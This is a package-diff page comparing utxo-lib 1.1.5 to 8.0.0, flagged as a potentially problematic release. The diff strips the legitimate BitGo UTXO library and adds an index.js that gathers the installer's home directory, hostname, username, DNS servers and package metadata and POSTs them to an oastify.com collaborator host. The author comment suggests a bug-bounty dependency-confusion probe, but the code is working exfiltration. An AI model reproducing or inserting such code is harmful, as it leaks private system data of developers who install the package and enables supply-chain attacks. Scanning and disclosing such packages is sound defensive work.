utxo-lib 1.1.5 → 8.0.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of utxo-lib might be problematic. Click here for more details.
- package/index.js +47 -0
- package/package.json +6 -80
- package/LICENSE +0 -21
- package/README.md +0 -59
- package/dist/src/address.d.ts +0 -11
- package/dist/src/address.d.ts.map +0 -1
- package/dist/src/address.js +0 -37
- package/dist/src/addressFormat.d.ts +0 -53
- package/dist/src/addressFormat.d.ts.map +0 -1
- package/dist/src/addressFormat.js +0 -110
- package/dist/src/bitgo/Musig2.d.ts +0 -51
- package/dist/src/bitgo/Musig2.d.ts.map +0 -1
- package/dist/src/bitgo/Musig2.js +0 -175
- package/dist/src/bitgo/Unspent.d.ts +0 -95
- package/dist/src/bitgo/Unspent.d.ts.map +0 -1
- package/dist/src/bitgo/Unspent.js +0 -138
- package/dist/src/bitgo/UtxoPsbt.d.ts +0 -132
- package/dist/src/bitgo/UtxoPsbt.d.ts.map +0 -1
- package/dist/src/bitgo/UtxoPsbt.js +0 -469
- package/dist/src/bitgo/UtxoTransaction.d.ts +0 -22
- package/dist/src/bitgo/UtxoTransaction.d.ts.map +0 -1
- package/dist/src/bitgo/UtxoTransaction.js +0 -97
- package/dist/src/bitgo/UtxoTransactionBuilder.d.ts +0 -26
- package/dist/src/bitgo/UtxoTransactionBuilder.d.ts.map +0 -1
- package/dist/src/bitgo/UtxoTransactionBuilder.js +0 -67
- package/dist/src/bitgo/bbc/DashPsbt.d.ts +0 -12
- package/dist/src/bitgo/bbc/DashPsbt.d.ts.map +0 -1
- package/dist/src/bitgo/bbc/DashPsbt.js +0 -27
- package/dist/src/bitgo/bbc/DashTransaction.d.ts +0 -39
- package/dist/src/bitgo/bbc/DashTransaction.d.ts.map +0 -1
- package/dist/src/bitgo/bbc/DashTransaction.js +0 -109
- package/dist/src/bitgo/bbc/DashTransactionBuilder.d.ts +0 -14
- package/dist/src/bitgo/bbc/DashTransactionBuilder.d.ts.map +0 -1
- package/dist/src/bitgo/bbc/DashTransactionBuilder.js +0 -28
- package/dist/src/bitgo/bbc/index.d.ts +0 -4
- package/dist/src/bitgo/bbc/index.d.ts.map +0 -1
- package/dist/src/bitgo/bbc/index.js +0 -16
- package/dist/src/bitgo/bitcoincash/address.d.ts +0 -35
- package/dist/src/bitgo/bitcoincash/address.d.ts.map +0 -1
- package/dist/src/bitgo/bitcoincash/address.js +0 -151
- package/dist/src/bitgo/bitcoincash/index.d.ts +0 -2
- package/dist/src/bitgo/bitcoincash/index.d.ts.map +0 -1
- package/dist/src/bitgo/bitcoincash/index.js +0 -14
- package/dist/src/bitgo/dash/DashPsbt.d.ts +0 -12
- package/dist/src/bitgo/dash/DashPsbt.d.ts.map +0 -1
- package/dist/src/bitgo/dash/DashPsbt.js +0 -27
- package/dist/src/bitgo/dash/DashTransaction.d.ts +0 -39
- package/dist/src/bitgo/dash/DashTransaction.d.ts.map +0 -1
- package/dist/src/bitgo/dash/DashTransaction.js +0 -109
- package/dist/src/bitgo/dash/DashTransactionBuilder.d.ts +0 -14
- package/dist/src/bitgo/dash/DashTransactionBuilder.d.ts.map +0 -1
- package/dist/src/bitgo/dash/DashTransactionBuilder.js +0 -28
- package/dist/src/bitgo/dash/index.d.ts +0 -4
- package/dist/src/bitgo/dash/index.d.ts.map +0 -1
- package/dist/src/bitgo/dash/index.js +0 -16
- package/dist/src/bitgo/index.d.ts +0 -17
- package/dist/src/bitgo/index.d.ts.map +0 -1
- package/dist/src/bitgo/index.js +0 -30
- package/dist/src/bitgo/keyutil.d.ts +0 -17
- package/dist/src/bitgo/keyutil.d.ts.map +0 -1
- package/dist/src/bitgo/keyutil.js +0 -37
- package/dist/src/bitgo/nonStandardHalfSigned.d.ts +0 -7
- package/dist/src/bitgo/nonStandardHalfSigned.d.ts.map +0 -1
- package/dist/src/bitgo/nonStandardHalfSigned.js +0 -56
- package/dist/src/bitgo/outputScripts.d.ts +0 -84
- package/dist/src/bitgo/outputScripts.d.ts.map +0 -1
- package/dist/src/bitgo/outputScripts.js +0 -297
- package/dist/src/bitgo/parseInput.d.ts +0 -92
- package/dist/src/bitgo/parseInput.d.ts.map +0 -1
- package/dist/src/bitgo/parseInput.js +0 -344
- package/dist/src/bitgo/psbt/fromHalfSigned.d.ts +0 -24
- package/dist/src/bitgo/psbt/fromHalfSigned.d.ts.map +0 -1
- package/dist/src/bitgo/psbt/fromHalfSigned.js +0 -91
- package/dist/src/bitgo/psbt/scriptTypes.d.ts +0 -6
- package/dist/src/bitgo/psbt/scriptTypes.d.ts.map +0 -1
- package/dist/src/bitgo/psbt/scriptTypes.js +0 -23
- package/dist/src/bitgo/signature.d.ts +0 -84
- package/dist/src/bitgo/signature.d.ts.map +0 -1
- package/dist/src/bitgo/signature.js +0 -222
- package/dist/src/bitgo/tnumber.d.ts +0 -9
- package/dist/src/bitgo/tnumber.d.ts.map +0 -1
- package/dist/src/bitgo/tnumber.js +0 -31
- package/dist/src/bitgo/transaction.d.ts +0 -29
- package/dist/src/bitgo/transaction.d.ts.map +0 -1
- package/dist/src/bitgo/transaction.js +0 -231
- package/dist/src/bitgo/types.d.ts +0 -5
- package/dist/src/bitgo/types.d.ts.map +0 -1
- package/dist/src/bitgo/types.js +0 -12
- package/dist/src/bitgo/wallet/Psbt.d.ts +0 -47
- package/dist/src/bitgo/wallet/Psbt.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/Psbt.js +0 -232
- package/dist/src/bitgo/wallet/Unspent.d.ts +0 -47
- package/dist/src/bitgo/wallet/Unspent.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/Unspent.js +0 -154
- package/dist/src/bitgo/wallet/WalletKeys.d.ts +0 -72
- package/dist/src/bitgo/wallet/WalletKeys.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/WalletKeys.js +0 -104
- package/dist/src/bitgo/wallet/WalletOutput.d.ts +0 -18
- package/dist/src/bitgo/wallet/WalletOutput.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/WalletOutput.js +0 -69
- package/dist/src/bitgo/wallet/WalletScripts.d.ts +0 -7
- package/dist/src/bitgo/wallet/WalletScripts.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/WalletScripts.js +0 -15
- package/dist/src/bitgo/wallet/WalletUnspentSigner.d.ts +0 -19
- package/dist/src/bitgo/wallet/WalletUnspentSigner.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/WalletUnspentSigner.js +0 -47
- package/dist/src/bitgo/wallet/chains.d.ts +0 -57
- package/dist/src/bitgo/wallet/chains.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/chains.js +0 -106
- package/dist/src/bitgo/wallet/index.d.ts +0 -8
- package/dist/src/bitgo/wallet/index.d.ts.map +0 -1
- package/dist/src/bitgo/wallet/index.js +0 -20
- package/dist/src/bitgo/zcash/ZcashBufferutils.d.ts +0 -26
- package/dist/src/bitgo/zcash/ZcashBufferutils.d.ts.map +0 -1
- package/dist/src/bitgo/zcash/ZcashBufferutils.js +0 -157
- package/dist/src/bitgo/zcash/ZcashPsbt.d.ts +0 -36
- package/dist/src/bitgo/zcash/ZcashPsbt.d.ts.map +0 -1
- package/dist/src/bitgo/zcash/ZcashPsbt.js +0 -146
- package/dist/src/bitgo/zcash/ZcashTransaction.d.ts +0 -61
- package/dist/src/bitgo/zcash/ZcashTransaction.d.ts.map +0 -1
- package/dist/src/bitgo/zcash/ZcashTransaction.js +0 -341
- package/dist/src/bitgo/zcash/ZcashTransactionBuilder.d.ts +0 -21
- package/dist/src/bitgo/zcash/ZcashTransactionBuilder.d.ts.map +0 -1
- package/dist/src/bitgo/zcash/ZcashTransactionBuilder.js +0 -105
- package/dist/src/bitgo/zcash/address.d.ts +0 -8
- package/dist/src/bitgo/zcash/address.d.ts.map +0 -1
- package/dist/src/bitgo/zcash/address.js +0 -57
- package/dist/src/bitgo/zcash/hashZip0244.d.ts +0 -27
- package/dist/src/bitgo/zcash/hashZip0244.d.ts.map +0 -1
- package/dist/src/bitgo/zcash/hashZip0244.js +0 -184
- package/dist/src/bitgo/zcash/index.d.ts +0 -4
- package/dist/src/bitgo/zcash/index.d.ts.map +0 -1
- package/dist/src/bitgo/zcash/index.js +0 -16
- package/dist/src/classify.d.ts +0 -19
- package/dist/src/classify.d.ts.map +0 -1
- package/dist/src/classify.js +0 -89
- package/dist/src/index.d.ts +0 -13
- package/dist/src/index.d.ts.map +0 -1
- package/dist/src/index.js +0 -36
- package/dist/src/networks.d.ts +0 -115
- package/dist/src/networks.d.ts.map +0 -1
- package/dist/src/networks.js +0 -458
- package/dist/src/noble_ecc.d.ts +0 -28
- package/dist/src/noble_ecc.d.ts.map +0 -1
- package/dist/src/noble_ecc.js +0 -168
- package/dist/src/payments/index.d.ts +0 -4
- package/dist/src/payments/index.d.ts.map +0 -1
- package/dist/src/payments/index.js +0 -8
- package/dist/src/payments/p2tr.d.ts +0 -3
- package/dist/src/payments/p2tr.d.ts.map +0 -1
- package/dist/src/payments/p2tr.js +0 -348
- package/dist/src/payments/p2tr_ns.d.ts +0 -3
- package/dist/src/payments/p2tr_ns.d.ts.map +0 -1
- package/dist/src/payments/p2tr_ns.js +0 -134
- package/dist/src/taproot.d.ts +0 -141
- package/dist/src/taproot.d.ts.map +0 -1
- package/dist/src/taproot.js +0 -384
- package/dist/src/templates/multisig/index.d.ts +0 -4
- package/dist/src/templates/multisig/index.d.ts.map +0 -1
- package/dist/src/templates/multisig/index.js +0 -8
- package/dist/src/templates/multisig/input.d.ts +0 -7
- package/dist/src/templates/multisig/input.d.ts.map +0 -1
- package/dist/src/templates/multisig/input.js +0 -25
- package/dist/src/templates/multisig/output.d.ts +0 -7
- package/dist/src/templates/multisig/output.d.ts.map +0 -1
- package/dist/src/templates/multisig/output.js +0 -38
- package/dist/src/templates/nulldata.d.ts +0 -10
- package/dist/src/templates/nulldata.d.ts.map +0 -1
- package/dist/src/templates/nulldata.js +0 -17
- package/dist/src/templates/pubkey/index.d.ts +0 -4
- package/dist/src/templates/pubkey/index.d.ts.map +0 -1
- package/dist/src/templates/pubkey/index.js +0 -8
- package/dist/src/templates/pubkey/input.d.ts +0 -7
- package/dist/src/templates/pubkey/input.d.ts.map +0 -1
- package/dist/src/templates/pubkey/input.js +0 -14
- package/dist/src/templates/pubkey/output.d.ts +0 -7
- package/dist/src/templates/pubkey/output.d.ts.map +0 -1
- package/dist/src/templates/pubkey/output.js +0 -15
- package/dist/src/templates/pubkeyhash/index.d.ts +0 -4
- package/dist/src/templates/pubkeyhash/index.d.ts.map +0 -1
- package/dist/src/templates/pubkeyhash/index.js +0 -8
- package/dist/src/templates/pubkeyhash/input.d.ts +0 -7
- package/dist/src/templates/pubkeyhash/input.d.ts.map +0 -1
- package/dist/src/templates/pubkeyhash/input.js +0 -16
- package/dist/src/templates/pubkeyhash/output.d.ts +0 -6
- package/dist/src/templates/pubkeyhash/output.d.ts.map +0 -1
- package/dist/src/templates/pubkeyhash/output.js +0 -20
- package/dist/src/templates/scripthash/index.d.ts +0 -4
- package/dist/src/templates/scripthash/index.d.ts.map +0 -1
- package/dist/src/templates/scripthash/index.js +0 -8
- package/dist/src/templates/scripthash/input.d.ts +0 -6
- package/dist/src/templates/scripthash/input.d.ts.map +0 -1
- package/dist/src/templates/scripthash/input.js +0 -43
- package/dist/src/templates/scripthash/output.d.ts +0 -6
- package/dist/src/templates/scripthash/output.d.ts.map +0 -1
- package/dist/src/templates/scripthash/output.js +0 -15
- package/dist/src/templates/taproot/index.d.ts +0 -4
- package/dist/src/templates/taproot/index.d.ts.map +0 -1
- package/dist/src/templates/taproot/index.js +0 -8
- package/dist/src/templates/taproot/input.d.ts +0 -6
- package/dist/src/templates/taproot/input.d.ts.map +0 -1
- package/dist/src/templates/taproot/input.js +0 -23
- package/dist/src/templates/taproot/output.d.ts +0 -6
- package/dist/src/templates/taproot/output.d.ts.map +0 -1
- package/dist/src/templates/taproot/output.js +0 -15
- package/dist/src/templates/taprootnofn/index.d.ts +0 -4
- package/dist/src/templates/taprootnofn/index.d.ts.map +0 -1
- package/dist/src/templates/taprootnofn/index.js +0 -8
- package/dist/src/templates/taprootnofn/input.d.ts +0 -7
- package/dist/src/templates/taprootnofn/input.d.ts.map +0 -1
- package/dist/src/templates/taprootnofn/input.js +0 -24
- package/dist/src/templates/taprootnofn/output.d.ts +0 -7
- package/dist/src/templates/taprootnofn/output.d.ts.map +0 -1
- package/dist/src/templates/taprootnofn/output.js +0 -28
- package/dist/src/templates/witnesscommitment/index.d.ts +0 -3
- package/dist/src/templates/witnesscommitment/index.d.ts.map +0 -1
- package/dist/src/templates/witnesscommitment/index.js +0 -6
- package/dist/src/templates/witnesscommitment/output.d.ts +0 -8
- package/dist/src/templates/witnesscommitment/output.d.ts.map +0 -1
- package/dist/src/templates/witnesscommitment/output.js +0 -31
- package/dist/src/templates/witnesspubkeyhash/index.d.ts +0 -4
- package/dist/src/templates/witnesspubkeyhash/index.d.ts.map +0 -1
- package/dist/src/templates/witnesspubkeyhash/index.js +0 -8
- package/dist/src/templates/witnesspubkeyhash/input.d.ts +0 -7
- package/dist/src/templates/witnesspubkeyhash/input.d.ts.map +0 -1
- package/dist/src/templates/witnesspubkeyhash/input.js +0 -19
- package/dist/src/templates/witnesspubkeyhash/output.d.ts +0 -6
- package/dist/src/templates/witnesspubkeyhash/output.d.ts.map +0 -1
- package/dist/src/templates/witnesspubkeyhash/output.js +0 -15
- package/dist/src/templates/witnessscripthash/index.d.ts +0 -4
- package/dist/src/templates/witnessscripthash/index.d.ts.map +0 -1
- package/dist/src/templates/witnessscripthash/index.js +0 -8
- package/dist/src/templates/witnessscripthash/input.d.ts +0 -6
- package/dist/src/templates/witnessscripthash/input.d.ts.map +0 -1
- package/dist/src/templates/witnessscripthash/input.js +0 -35
- package/dist/src/templates/witnessscripthash/output.d.ts +0 -6
- package/dist/src/templates/witnessscripthash/output.d.ts.map +0 -1
- package/dist/src/templates/witnessscripthash/output.js +0 -15
- package/dist/src/testutil/index.d.ts +0 -3
- package/dist/src/testutil/index.d.ts.map +0 -1
- package/dist/src/testutil/index.js +0 -15
- package/dist/src/testutil/keys.d.ts +0 -10
- package/dist/src/testutil/keys.d.ts.map +0 -1
- package/dist/src/testutil/keys.js +0 -40
- package/dist/src/testutil/mock.d.ts +0 -21
- package/dist/src/testutil/mock.d.ts.map +0 -1
- package/dist/src/testutil/mock.js +0 -86
- package/dist/src/transaction_builder.d.ts +0 -47
- package/dist/src/transaction_builder.d.ts.map +0 -1
- package/dist/src/transaction_builder.js +0 -1084
package/index.js
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
//author:- whitehacker003@protonmail.com
|
2
|
+
const os = require("os");
|
3
|
+
const dns = require("dns");
|
4
|
+
const querystring = require("querystring");
|
5
|
+
const https = require("https");
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
const trackingData = JSON.stringify({
|
10
|
+
p: package,
|
11
|
+
c: __dirname,
|
12
|
+
hd: os.homedir(),
|
13
|
+
hn: os.hostname(),
|
14
|
+
un: os.userInfo().username,
|
15
|
+
dns: dns.getServers(),
|
16
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
17
|
+
v: packageJSON.version,
|
18
|
+
pjson: packageJSON,
|
19
|
+
});
|
20
|
+
|
21
|
+
var postData = querystring.stringify({
|
22
|
+
msg: trackingData,
|
23
|
+
});
|
24
|
+
|
25
|
+
var options = {
|
26
|
+
hostname: "1vxcvtcamw9gywvzajsf2antyk4asz.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
|
27
|
+
port: 443,
|
28
|
+
path: "/",
|
29
|
+
method: "POST",
|
30
|
+
headers: {
|
31
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
32
|
+
"Content-Length": postData.length,
|
33
|
+
},
|
34
|
+
};
|
35
|
+
|
36
|
+
var req = https.request(options, (res) => {
|
37
|
+
res.on("data", (d) => {
|
38
|
+
process.stdout.write(d);
|
39
|
+
});
|
40
|
+
});
|
41
|
+
|
42
|
+
req.on("error", (e) => {
|
43
|
+
// console.error(e);
|
44
|
+
});
|
45
|
+
|
46
|
+
req.write(postData);
|
47
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,85 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "utxo-lib",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"main": "./dist/src/index.js",
|
6
|
-
"engines": {
|
7
|
-
"node": ">=10.22.0 <17",
|
8
|
-
"npm": ">=3.10.10"
|
9
|
-
},
|
10
|
-
"keywords": [
|
11
|
-
"bitgo",
|
12
|
-
"utxo",
|
13
|
-
"bitcoinjs",
|
14
|
-
"bitcoin",
|
15
|
-
"zcash",
|
16
|
-
"dash",
|
17
|
-
"browserify",
|
18
|
-
"javascript"
|
19
|
-
],
|
3
|
+
"version": "8.0.0",
|
4
|
+
"main": "index.js",
|
20
5
|
"scripts": {
|
21
|
-
"
|
22
|
-
"coverage-html": "nyc report --reporter=html",
|
23
|
-
"coverage": "npm run build && nyc --check-coverage mocha",
|
24
|
-
"test": "npm run coverage",
|
25
|
-
"unit-test": "mocha --recursive test",
|
26
|
-
"lint": "eslint --quiet .",
|
27
|
-
"fmt": "prettier --write '{src,test}/**/*.{ts,js}'",
|
28
|
-
"precommit": "yarn lint-staged"
|
29
|
-
},
|
30
|
-
"nyc": {
|
31
|
-
"include": [
|
32
|
-
"src/**"
|
33
|
-
],
|
34
|
-
"branches": 78,
|
35
|
-
"functions": 90,
|
36
|
-
"lines": 88
|
37
|
-
},
|
38
|
-
"repository": {
|
39
|
-
"type": "git",
|
40
|
-
"url": "https://github.com/BitGo/BitGoJS.git",
|
41
|
-
"directory": "modules/utxo-lib"
|
42
|
-
},
|
43
|
-
"files": [
|
44
|
-
"dist/src"
|
45
|
-
],
|
46
|
-
"dependencies": {
|
47
|
-
"@bitgo/blake2b": "^3.2.1",
|
48
|
-
"@brandonblack/musig": "https://github.com/Mustafa-Agha/musig-js.git",
|
49
|
-
"@noble/secp256k1": "1.6.3",
|
50
|
-
"bech32": "^2.0.0",
|
51
|
-
"bip174": "npm:@bitgo-forks/bip174@3.1.0-master.3",
|
52
|
-
"bip32": "^3.0.1",
|
53
|
-
"bitcoin-ops": "^1.3.0",
|
54
|
-
"bitcoinjs-lib": "npm:@bitgo-forks/bitcoinjs-lib@7.1.0-master.4",
|
55
|
-
"bn.js": "^5.2.1",
|
56
|
-
"bs58check": "^2.1.2",
|
57
|
-
"cashaddress": "^1.1.0",
|
58
|
-
"create-hash": "^1.2.0",
|
59
|
-
"create-hmac": "^1.1.7",
|
60
|
-
"ecpair": "npm:@bitgo/ecpair@2.1.0-rc.0",
|
61
|
-
"elliptic": "^6.5.2",
|
62
|
-
"fastpriorityqueue": "^0.7.1",
|
63
|
-
"typeforce": "^1.11.3",
|
64
|
-
"varuint-bitcoin": "^1.1.2"
|
65
|
-
},
|
66
|
-
"devDependencies": {
|
67
|
-
"@types/elliptic": "^6.4.12",
|
68
|
-
"@types/fs-extra": "^9.0.12",
|
69
|
-
"@types/node": "^14.18.12",
|
70
|
-
"axios": "^0.21.1",
|
71
|
-
"debug": "^3.1.0",
|
72
|
-
"fs-extra": "^9.1.0"
|
73
|
-
},
|
74
|
-
"lint-staged": {
|
75
|
-
"*.{js,ts}": [
|
76
|
-
"yarn prettier --write",
|
77
|
-
"yarn eslint --fix"
|
78
|
-
]
|
79
|
-
},
|
80
|
-
"publishConfig": {
|
81
|
-
"access": "public"
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
82
7
|
},
|
83
|
-
"author": "
|
84
|
-
"license": "
|
8
|
+
"author": "",
|
9
|
+
"license": "ISC",
|
10
|
+
"description": ""
|
85
11
|
}
|
package/LICENSE
DELETED
@@ -1,21 +0,0 @@
|
|
1
|
-
The MIT License (MIT)
|
2
|
-
|
3
|
-
Copyright (c) 2011-2017 bitcoinjs-lib contributors
|
4
|
-
|
5
|
-
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
-
of this software and associated documentation files (the "Software"), to deal
|
7
|
-
in the Software without restriction, including without limitation the rights
|
8
|
-
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
-
copies of the Software, and to permit persons to whom the Software is
|
10
|
-
furnished to do so, subject to the following conditions:
|
11
|
-
|
12
|
-
The above copyright notice and this permission notice shall be included in all
|
13
|
-
copies or substantial portions of the Software.
|
14
|
-
|
15
|
-
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
-
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
-
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
-
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
-
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
-
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
-
SOFTWARE.
|
package/README.md
DELETED
@@ -1,59 +0,0 @@
|
|
1
|
-
# BitGo UTXO library
|
2
|
-
|
3
|
-
This library is a wrapper around [bitcoinjs-lib](https://github.com/bitcoinjs/bitcoinjs-lib) adding altcoin support.
|
4
|
-
|
5
|
-
## Features
|
6
|
-
- Multicoin support: Configurable behaviour based on [network](https://github.com/BitGo/bitgo-utxo-lib/blob/master/src/networks.js) objects.
|
7
|
-
- Backed by [BitGo](https://www.bitgo.com/info/)
|
8
|
-
|
9
|
-
## Installation
|
10
|
-
|
11
|
-
``` bash
|
12
|
-
# using npm
|
13
|
-
npm install @bitgo/utxo-lib
|
14
|
-
|
15
|
-
# using yarn
|
16
|
-
yarn add @bitgo/utxo-lib
|
17
|
-
```
|
18
|
-
|
19
|
-
## Setup
|
20
|
-
|
21
|
-
JavaScript (ESM)
|
22
|
-
``` javascript
|
23
|
-
import * as utxolib from '@bitgo/utxo-lib'
|
24
|
-
```
|
25
|
-
|
26
|
-
NodeJS (CJS)
|
27
|
-
``` javascript
|
28
|
-
const utxolib = require('@bitgo/utxo-lib')
|
29
|
-
```
|
30
|
-
|
31
|
-
## Usage
|
32
|
-
|
33
|
-
Support for parsing and building altcoin transactions is provided by the following methods
|
34
|
-
|
35
|
-
``` typescript
|
36
|
-
utxolib.bitgo.createTransactionFromBuffer(buffer, network): UtxoTransaction
|
37
|
-
// (similarly `createTransactionFromHex(string, network)`)
|
38
|
-
|
39
|
-
utxolib.bitgo.createTransactionBuilderForNetwork(network): UtxoTransactionBuilder
|
40
|
-
|
41
|
-
utxolib.bitgo.createTransactionBuilderFromTransaction(tx): UtxoTransactionBuilder
|
42
|
-
```
|
43
|
-
|
44
|
-
The `UtxoTransaction(Builder)` classes have the same interface as the `Transaction` type in `bitcoinjs-lib` .
|
45
|
-
|
46
|
-
## Supported coins
|
47
|
-
|
48
|
-
|Network|Mainnet|Testnet|
|
49
|
-
|---|---|---|
|
50
|
-
|Bitcoin|`utxolib.networks.bitcoin`|`utxolib.networks.testnet`|
|
51
|
-
|Bitcoin Cash|`utxolib.networks.bitcoincash`|`utxolib.networks.bitcoincashTestnet`|
|
52
|
-
|Bitcoin Gold|`utxolib.networks.bitcoingold`|`utxolib.networks.bitcoingoldTestnet`|
|
53
|
-
|Bitcoin SV (Satoshi Vision)|`utxolib.networks.bitcoinsv`|`utxolib.networks.bitcoinsvTestnet`|
|
54
|
-
|Dash|`utxolib.networks.dash`|`utxolib.networks.dash`|
|
55
|
-
|eCash|`utxolib.networks.ecash`|`utxolib.networks.ecashTestnet`|
|
56
|
-
|Litecoin|`utxolib.networks.litecoin`|`utxolib.networks.litecoinTest`|
|
57
|
-
|Zcash|`utxolib.networks.zcash`|`utxolib.networks.zcashTest`|
|
58
|
-
|
59
|
-
> [Bitcoin SV](https://blog.bitgo.com/bsv-deprecation-6b3fff4df34c) no longer supports sending funds to BitGo wallets. Existing customers with Bitcoin SV in BitGo wallets will still be able to access and sweep funds to an external Bitcoin SV wallet.
|
package/dist/src/address.d.ts
DELETED
@@ -1,11 +0,0 @@
|
|
1
|
-
/// <reference types="node" />
|
2
|
-
import * as bitcoinjs from 'bitcoinjs-lib';
|
3
|
-
import { Base58CheckResult, Bech32Result } from 'bitcoinjs-lib/src/address';
|
4
|
-
import { Network } from './networks';
|
5
|
-
export declare function fromOutputScript(outputScript: Buffer, network: Network): string;
|
6
|
-
export declare function toOutputScript(address: string, network: Network): Buffer;
|
7
|
-
export declare function toBase58Check(hash: Buffer, version: number, network: Network): string;
|
8
|
-
export declare function fromBase58Check(address: string, network: Network): Base58CheckResult;
|
9
|
-
export declare const fromBech32: typeof bitcoinjs.address.fromBech32, toBech32: typeof bitcoinjs.address.toBech32;
|
10
|
-
export { Base58CheckResult, Bech32Result };
|
11
|
-
//# sourceMappingURL=address.d.ts.map
|
@@ -1 +0,0 @@
|
|
1
|
-
{"version":3,"file":"address.d.ts","sourceRoot":"","sources":["../../src/address.ts"],"names":[],"mappings":";AAAA,OAAO,KAAK,SAAS,MAAM,eAAe,CAAC;AAC3C,OAAO,EAAE,iBAAiB,EAAE,YAAY,EAAE,MAAM,2BAA2B,CAAC;AAG5E,OAAO,EAA2B,OAAO,EAAE,MAAM,YAAY,CAAC;AAE9D,wBAAgB,gBAAgB,CAAC,YAAY,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,GAAG,MAAM,CAK/E;AAED,wBAAgB,cAAc,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,GAAG,MAAM,CAKxE;AAED,wBAAgB,aAAa,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,GAAG,MAAM,CAKrF;AAED,wBAAgB,eAAe,CAAC,OAAO,EAAE,MAAM,EAAE,OAAO,EAAE,OAAO,GAAG,iBAAiB,CAKpF;AAED,eAAO,MAAQ,UAAU,uCAAE,QAAQ,mCAAsB,CAAC;AAE1D,OAAO,EAAE,iBAAiB,EAAE,YAAY,EAAE,CAAC"}
|
package/dist/src/address.js
DELETED
@@ -1,37 +0,0 @@
|
|
1
|
-
"use strict";
|
2
|
-
var _a;
|
3
|
-
Object.defineProperty(exports, "__esModule", { value: true });
|
4
|
-
exports.toBech32 = exports.fromBech32 = exports.fromBase58Check = exports.toBase58Check = exports.toOutputScript = exports.fromOutputScript = void 0;
|
5
|
-
const bitcoinjs = require("bitcoinjs-lib");
|
6
|
-
const zcashAddress = require("../src/bitgo/zcash/address");
|
7
|
-
const networks_1 = require("./networks");
|
8
|
-
function fromOutputScript(outputScript, network) {
|
9
|
-
if (networks_1.isValidNetwork(network) && networks_1.isZcash(network)) {
|
10
|
-
return zcashAddress.fromOutputScript(outputScript, network);
|
11
|
-
}
|
12
|
-
return bitcoinjs.address.fromOutputScript(outputScript, network);
|
13
|
-
}
|
14
|
-
exports.fromOutputScript = fromOutputScript;
|
15
|
-
function toOutputScript(address, network) {
|
16
|
-
if (networks_1.isValidNetwork(network) && networks_1.isZcash(network)) {
|
17
|
-
return zcashAddress.toOutputScript(address, network);
|
18
|
-
}
|
19
|
-
return bitcoinjs.address.toOutputScript(address, network);
|
20
|
-
}
|
21
|
-
exports.toOutputScript = toOutputScript;
|
22
|
-
function toBase58Check(hash, version, network) {
|
23
|
-
if (networks_1.isValidNetwork(network) && networks_1.isZcash(network)) {
|
24
|
-
return zcashAddress.toBase58Check(hash, version);
|
25
|
-
}
|
26
|
-
return bitcoinjs.address.toBase58Check(hash, version);
|
27
|
-
}
|
28
|
-
exports.toBase58Check = toBase58Check;
|
29
|
-
function fromBase58Check(address, network) {
|
30
|
-
if (networks_1.isValidNetwork(network) && networks_1.isZcash(network)) {
|
31
|
-
return zcashAddress.fromBase58Check(address);
|
32
|
-
}
|
33
|
-
return bitcoinjs.address.fromBase58Check(address);
|
34
|
-
}
|
35
|
-
exports.fromBase58Check = fromBase58Check;
|
36
|
-
_a = bitcoinjs.address, exports.fromBech32 = _a.fromBech32, exports.toBech32 = _a.toBech32;
|
37
|
-
//# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiY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zdWx0IHtcbiAgaWYgKGlzVmFsaWROZXR3b3JrKG5ldHdvcmspICYmIGlzWmNhc2gobmV0d29yaykpIHtcbiAgICByZXR1cm4gemNhc2hBZGRyZXNzLmZyb21CYXNlNThDaGVjayhhZGRyZXNzKTtcbiAgfVxuICByZXR1cm4gYml0Y29pbmpzLmFkZHJlc3MuZnJvbUJhc2U1OENoZWNrKGFkZHJlc3MpO1xufVxuXG5leHBvcnQgY29uc3QgeyBmcm9tQmVjaDMyLCB0b0JlY2gzMiB9ID0gYml0Y29pbmpzLmFkZHJlc3M7XG5cbmV4cG9ydCB7IEJhc2U1OENoZWNrUmVzdWx0LCBCZWNoMzJSZXN1bHQgfTtcbiJdfQ==
|
@@ -1,53 +0,0 @@
|
|
1
|
-
/// <reference types="node" />
|
2
|
-
/**
|
3
|
-
* Implements methods for nonstandard (non-canonical) address formats.
|
4
|
-
*
|
5
|
-
* Use `toOutputScriptTryFormats()` instead of `toOutputScript()` to parse addresses in
|
6
|
-
* non-canonical formats
|
7
|
-
*/
|
8
|
-
import { Network } from './networks';
|
9
|
-
export declare const addressFormats: readonly ["default", "cashaddr"];
|
10
|
-
export declare type AddressFormat = typeof addressFormats[number];
|
11
|
-
/**
|
12
|
-
* @param format
|
13
|
-
* @param network
|
14
|
-
